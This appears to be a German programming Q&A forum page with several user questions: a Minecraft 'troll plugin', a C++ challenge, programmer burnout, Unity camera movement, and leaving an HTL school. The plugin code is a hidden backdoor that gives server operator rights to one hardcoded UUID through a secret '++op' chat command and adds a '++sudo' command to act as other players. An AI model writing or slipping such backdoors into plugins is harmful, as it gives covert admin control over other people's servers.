Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Wie soll ich das denn jetzt Handeln?

Hallo. Ich hoffe die Programmiererschaft ist aus ihrem kleinem Schläfchen erwacht und kann mir hier etwas weiterhelfen. Ich mache (immernoch) eine Coding-Challenge. Dachte sie ist Lustig, langsam wird sie Sinnlos .__.

Erstmal die zurzeitige Stage:

An sich wurde alles gesagt. Das Problem mit den max. 10 Packages hab ich bereits gelöst. Nun bin ich aber bei der byte abfrage ... Die ist dann schon Lustiger. Hier mal meine add Funktion.

void add(Package package) {
  // Check if package already in map.
  std::list < std::string > info_list({
    package.name,
    std::to_string(package.versionMajor),
    std::to_string(package.versionMinor)
  });
  if (saved_packages.count(info_list)) {
    return;
  }
  uint32_t used_size = 0;
  for (it_helper = saved_packages.begin(); it_helper != saved_packages.end(); it_helper++) {
    used_size += it_helper -> second.size;
  }
  // INFO: saved_packages.size() starts (idk why) by 2. So 12 means 10 packages.
  if (saved_packages.size() >= 12 && used_size >= 100) {
    throw std::exception();
  }
  saved_packages.insert(std::pair < std::list < std::string > , Package > (info_list, package));
}

Simpel ... Naja. Also das && falsch ist, dass weiß ich. Wollte es nur damit mal ausprobieren. Also bei "&&" kommt folgendes raus:
"The add method threw no exception despite exceeding the limit of 10 packages." und es macht Sinn. Schließlich war das Maximum erreicht, die bytes aber noch frei. Dennoch sollte man es ja nicht zulassen. Wenn ich jetzt aber || mache:

"The add method threw an exception before reaching the limit of 100 bytes." was auch Sinn macht. Denn die 10 Packete wurden vermutlich gesendet, bevor die 100 Bytes erreicht waren. Nun ... Was jetzt? Ich hab tatsächlich keine einzige Idee gerade, währe dankbar für bisschen Hilfe. Danke im Vorraus und lg.

Bild zum Beitrag
PC, Computer, Internet, Software, Technik, Programmierer, programmieren, Cplusplus, CPP, Programmiersprache, Softwareentwicklung, Visual Studio, Challenge
Wollt ihr für immer Programmierer bleiben?

Ich bin Programmierer und bin extrem erschöpft von der Arbeit. Ich gebe zu ich bin nicht der beste Programmierer. An sich macht es mir Spaß zu programmieren, aber die Anwendungen werden immer riesiger, komplexer und haben immer mehr Fehler.

Dadurch ist man durchgehend in der Arbeit mit extrem komplizierten Aufgaben beschäftigt. Ich blicke teilweise nicht mehr durch und meine Kollegen auch nicht. Aber die nehmen es mit Humor und meinen, dass wir ja gutes Geld verdienen und einen sicheren Job haben.

Wir machen nur Überstunden und lernen ständig privat neue frameworks, Programmiersprachen und irgendeinen anderen Unsinn, der wichtig ist für neue Projekte. Mich persönlich macht das soooo müde nach der Arbeit.

Seit neuestem benutzen wir GitHub-Copilot und ich hatte mir erhofft, dass wir dadurch produktiver werden. Mich hat es vllt zu 10% produktiver gemacht. Unser Abteilungsleiter, der wirklich keine Ahnung von Programmieren hat, erwartet jetzt viel mehr von uns, da er meinte, dass Copilot doch 40% des Code schreibt. Der Typ versteht einfach NICHT wie programmieren funktioniert. Wir arbeiten jetzt noch mehr als vorher. Ich könnte heulen!!!!

Ich habe die Sorge, dass die Anwendungen in der Zukunft sogar noch komplizierter werden und ich irgendwann mal nur noch Überstunden mache. Ich habe gehört, dass KI-Entwicklung immer leichter werden soll, wodurch das ein Grundskill für uns Programmierer in der Zukunft sein wird. Man ich habe kein Bock das auch noch zu lernen... Wir lernen, lernen und lernen... Das hört einfach nicht auf!

Also wie ergeht es euch auf der Arbeit. Könnt ihr euch vorstellen das für immer zu machen?

Arbeit, Beruf, Studium, Mathematik, Job, programmieren, Informatik, künstliche Intelligenz, Programmiersprache, Softwareentwicklung, Student, Universität
Kamera Movement in Unity?

Hallo,

ich bin relativ neu in Unity und bin gerade dabei, eine Szene zu erstellen, wobei man die Kamera, wenn man die rechte Maustaste gedrückt hält, verschieben kann.

Die Szene ist isotropisch, weshalb die Kamera auch orthographisch ist.

[SerializeField] private Camera cam;
private Vector3 dragOrigin = Vector3.zero;
public float speed = 10;
    
void Update(){
    if(Input.GetMouseButtonDown(1)){
        dragOrigin = cam.ScreenToWorldPoint(Input.mousePosition);
    }
    if(Input.GetMouseButton(1)){
        Vector3 difference = cam.ScreenToWorldPoint(Input.mousePosition) - cam.transform.position;
        Vector3 targetPosition = dragOrigin - difference;
            
        cam.transform.position = Vector3.Lerp(cam.transform.position, targetPosition, speed * Time.deltaTime);
    }
}

Das funktioniert eigentlich auch, nur gibt es das Problem, dass sich der y-Wert der Kamera auch ändert. Die sollte immer auf dem gleichen y-Wert bleiben.

Wenn ich

targetPosition.y = cam.transform.position.y;

schreibe, bleibt zwar die Kamera auf der gleichen y-Position, aber die Kamera verschiebt sich nach oben und unten langsamer.

Wie kann ich den Code umschreiben, dass sich bei der Kamera nur die x-/ und z-Position ändert und das Verschieben in allen Richtungen gleich schnell geht?

Danke im Voraus.

Software, Kamera, programmieren, C Sharp, Visual Studio, Unity, Game-Developement
HTL TGM verlassen?

Also ich hätte da eine ganz wichtige Frage. Ich besuche derzeit die HTL TGM in Wien, anscheinend die schwierigste HTL die existiert, und wäre jetzt in der 3. Klasse gewesen.

In der 1. Klasse habe ich schon bemerkt, dass ich eigentlich am falschen Ort bin aber ich wollte einfach unbedingt den Abschluss von dieser Schule, weil dieser Abschluss sehr wertvoll ist und ich wusste auch, dass das ein schwieriger Weg wäre.

In der Unterstufe war ich zwar der Top-Schüler mit 1er Notendurchschnitt aber das heißt absolut gar nichts und garantiert keinem, dass man diese Schule schaffen kann.

Nun zum eigentlichen Thema. Mein Hauptzweig ist IT und ich habe mir schon immer schwer getan im Fach Softwareentwicklung, also beim Programmieren. In der 1. Klasse haben ich und meine Freunde alle diese Klausel verwendet, also dass man aufsteigen darf mit einer 5. (Sozusagen ein Joker, den man nur ein mal in einem Fach in den 5 Jahren verwenden darf)

Ein Freund aus meiner Unterstufe ist aufs Gymnasium schon nach der 1. Klasse gegangen. Tja ich dachte, dass ich trotzdem die 2. Klasse schaffen könnte und bin geblieben. Dann kam noch die Corona-Pandemie, was mir einfach die Motivation und alles andere genommen hat um irgendeine Aufgabe in dem Fach zu machen. Ich habe mich eher auf die anderen Fächer konzentriert. Am Ende der 2. Klasse war ich positiv und auch wirklich gut in allen anderen Fächern außer Programmieren, genauso wie 5 andere Freunde aus meiner Klasse. Wir haben uns alle entschieden die Klasse einfach zu wiederholen, da wir "eh" alles vom letzten Jahr haben und nicht die Prüfung geschafft haben. Allerdings gibt es am TGM 2 Arten von Klassen. Einmal die normalen Klassen wie man sie kennt "Frontalklassen" und einmal Klassen die sich "Lernbüro" nennen. Nicht nur dass das ein komplett anderes Prinzip ist sondern du musst da alles selbst Lernen ohne Lehrer. Ich habe mir mehr schwer getan in allen Fächern als zuvor und wurde wieder negativ in dem Fach Programmieren.

Genauso auch meine 5 Freunde. Heute hatte ich nochmal die Jahresprüfung und habe es wieder nicht geschafft, obwohl ich dieses mal ziemlich viel gelernt habe und nicht einmal das hat gereicht. Alle Freunde haben sich eine Lehre gesucht oder machen derzeit nichts. Ich hatte immer noch das Ziel diese Schule zu schaffen. Jetzt habe ich die Hoffnung aufgegeben und denke mir dass ich lieber was Anderes suchen sollte ich hab es nämlich satt so verarscht zu werden von dieser Schule.

Ich stelle jetzt meine Frage an euch als erstes damit ich es nicht später machen muss. Welche Optionen stehen mir zur Verfügung in Wien? Ich möchte nicht nochmal die 2. Klasse an irgendeiner anderen Schule machen oder so, sondern lieber gleich in die 3. Klasse. Oder welche Lehren gibt es die ich machen könnte mit meiner 3-jährigen IT-Erfahrung? Gibt es vielleicht andere HTL's mit anderen Zweigen, die besser sind? Am meisten interessiere ich mich für grafisches Design und so.

Danke!

Lehre suchen 100%
Das 2. Jahr trotzdem wiederholen zum 3. mal! 0%
Den Zweig wechseln an der selben Schule 0%
Anderen Zweig an anderer Schule 0%
Gymnasium 0%
Sonstiges (USA) 0%
Schule, programmieren, Noten, Schulwechsel, HTL

Meistgelesene Fragen zum Thema Programmieren